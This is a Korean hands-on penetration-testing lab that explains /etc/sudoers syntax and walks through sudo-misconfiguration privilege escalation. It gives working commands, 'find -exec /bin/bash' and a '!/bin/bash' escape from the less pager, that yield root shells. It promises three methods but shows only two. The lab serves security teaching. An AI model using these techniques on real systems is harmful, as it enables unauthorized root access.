소개
이 랩에서는 sudo 설정 파일 구문 (syntax) 에 대해 배우고, sudo 취약점 또는 잘못된 설정 (misconfiguration) 을 통해 권한을 상승시키는 세 가지 일반적인 방법을 실습합니다. 목표는 침투 테스트 (penetration test) 중에 권한 상승을 위해 sudo 를 활용하는 방법을 더 잘 이해하는 것입니다.
Sudo 설정 파일 구문
이 단계에서는 sudo 권한을 설정하는 데 사용되는 /etc/sudoers 파일의 구문에 대해 배웁니다.
/etc/sudoers 파일은 어떤 사용자 또는 그룹이 권한을 상승하여 명령을 실행할 수 있는지 지정하는 데 사용됩니다. /etc/sudoers 파일의 내용을 보고 저장하려면 다음 명령을 실행하십시오.
sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt
출력은 다음과 유사해야 합니다.
## This file MUST be edited with the 'visudo' command as root.
## This preserves proxy settings from user environments of root
## While you shouldn't normally run git as root, you need to with etckeeper
## Per-user preferences; root won't have sensible values for them.
root ALL=(ALL:ALL) ALL
## Members of the admin group may gain root privileges
이 줄은 root 사용자가 모든 호스트에서 모든 사용자 또는 그룹으로 모든 명령을 실행할 수 있음을 지정합니다.
sudoers 항목의 일반적인 구문은 다음과 같습니다.
user_or_group_name host_list=(run_as_user:run_as_group) command_list
user_or_group_name: 규칙이 적용되는 사용자 또는 그룹입니다.host_list: 규칙이 적용되는 호스트입니다. 값ALL은 모든 호스트를 의미합니다.run_as_user: 명령을 실행하는 데 사용되는 사용자의 권한입니다. 값ALL은 모든 사용자를 의미합니다.run_as_group: 명령을 실행하는 데 사용되는 그룹의 권한입니다. 값ALL은 모든 그룹을 의미합니다.command_list: 사용자 또는 그룹이 실행하도록 허용된 명령입니다.
인수 제한 없는 Sudo 권한 상승
이 단계에서는 sudo 의 잘못된 설정 (misconfiguration) 을 활용하여 권한을 상승시키는 연습을 합니다. 이는 모든 명령을 권한 상승된 상태로 실행할 수 있도록 합니다.
먼저 터미널을 열고
/home/labex/project디렉토리로 이동합니다.cd /home/labex/project다음 명령을 실행하여 환경을 초기화합니다.
./env_setup_1.sh이제
user001사용자로 로그인했습니다.sudo -l명령을 사용하여 sudo 권한을 확인합니다.sudo -l(root) NOPASSWD:/usr/bin/find이는 암호 없이
root권한으로find명령을 실행할 수 있음을 의미합니다.권한을 상승시키려면 다음을 실행합니다.
sudo find /home -exec /bin/bash \;이제
root쉘을 갖게 됩니다.root권한이 있는지 확인하기 위해/root디렉토리에success_1.txt라는 파일을 생성합니다.echo "success_1" | sudo tee /root/success_1.txt다음을 실행하여 파일을 확인합니다.
cat /root/success_1.txt출력은
success_1이어야 합니다.
특정 명령 인수를 사용한 Sudo 권한 상승
이 단계에서는 특정 명령을 권한 상승된 상태로 실행할 수 있도록 하는 sudo 의 잘못된 설정 (misconfiguration) 을 활용하여 권한을 상승시키는 연습을 합니다.
이전 단계 이후, 여전히 root 사용자로 로그인되어 있습니다. 이 단계를 계속 진행하려면 현재 터미널을 닫고 새 터미널을 열어야 합니다.
먼저 터미널을 열고
/home/labex/project디렉토리로 이동합니다.cd /home/labex/project다음 명령을 실행하여 환경을 초기화합니다.
./env_setup_2.shsudo -l을 사용하여 sudo 권한을 확인합니다.sudo -l예상 출력:
(root) NOPASSWD: /bin/less /var/log/messages이는 암호 없이
root권한으로/bin/less /var/log/messages명령을 실행할 수 있음을 의미합니다.권한을 상승시키려면 다음을 실행합니다.
sudo less /var/log/messagesless페이저 (pager) 내에서 다음을 실행합니다.!/bin/bash이제
root쉘을 갖게 됩니다.root권한이 있는지 확인하기 위해/root디렉토리에success_2.txt라는 파일을 생성합니다.echo "success_2" | sudo tee /root/success_2.txt다음을 실행하여 파일을 확인합니다.
cat /root/success_2.txt출력은
success_2이어야 합니다.
요약
이 랩에서는 /etc/sudoers 파일의 구문과 sudo 권한을 구성하는 방법에 대해 배웠습니다. 또한 sudo 의 잘못된 설정 (misconfiguration) 또는 취약점을 통해 권한을 상승시키는 세 가지 일반적인 방법을 실습했습니다. sudo 를 권한 상승에 활용하는 방법을 이해함으로써 Linux 시스템의 잠재적인 보안 위험을 더 잘 평가하고 완화할 수 있습니다.